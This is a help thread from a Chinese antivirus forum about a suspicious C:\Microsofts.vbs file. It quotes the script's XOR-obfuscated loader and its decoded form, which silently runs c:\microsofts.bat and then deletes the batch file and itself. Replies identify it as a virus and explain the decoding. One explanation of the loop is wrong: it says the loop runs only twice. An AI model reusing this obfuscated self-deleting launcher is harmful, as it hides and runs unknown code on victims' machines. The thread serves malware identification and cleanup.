瑞星卡卡安全论坛

今天在C:\下发现了一个Microsofts.vbs的东西，其内容为

Function fan(love)
For i=1 to Len(love) Step 2
fan=fan & Chr(CLng("&H" & Mid(love,i,2)) Xor 23)
Next
End Function
chenzi="587937526565786537457264627A723759726F631A1D44726337447F727B7B372A3754657276637258757D7274633F35406474657E676339447F727B7B353E1A1D447F727B7B396562793F35742D4B7A7E746578647871636439757663353E1A1D64726337447F727B7B2A5978637F7E79701A1D44726337716478372A3754657276637258757D7274633F354474657E67637E797039517E7B72446E6463727A58757D727463353E1A1D404474657E676339447B7272673726272727371A1D5E713771647839517E7B72526F7E6463643F35742D4B7A7E746578647871636439757663353E37437F7279377164783953727B726372517E7B723F35742D4B7A7E746578647871636439757663353E1A1D7164783953727B726372517E7B723F404474657E6763394474657E676359767A723E"
Execute fan(chenzi)

[用户系统信息]Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)


附件: 780865200799155100.bmp

图

附件: 780865200799155420.bmp

On Error Resume Next
Set Shell = CreateObject("Wscript.Shell")
Shell.run("c:\microsofts.bat")
set Shell=Nothing
Set fso = CreateObject("Scripting.FileSystemObject")
WScript.Sleep 1000
If fso.FileExists("c:\microsofts.bat") Then fso.DeleteFile("c:\microsofts.bat")
fso.DeleteFile(WScript.ScriptName)

什么意思啊？我VBS会的还不是很多

那是病毒，删掉。

我当然知道那是病毒

下个VBS教程看就知道了


主要是这句
Function fan(love)
For i=1 to Len(love) Step 2 



函数 FAN，参数为LOVE
循环1 TO4步长为2，即循环两次

fan=fan & Chr(CLng("&H" & Mid(love,i,2)) Xor 23)

从字符串读出特殊的字符并进行按2进制位操作

就是解密下面那一大串的东西了

看看有没有

ntdetect.exe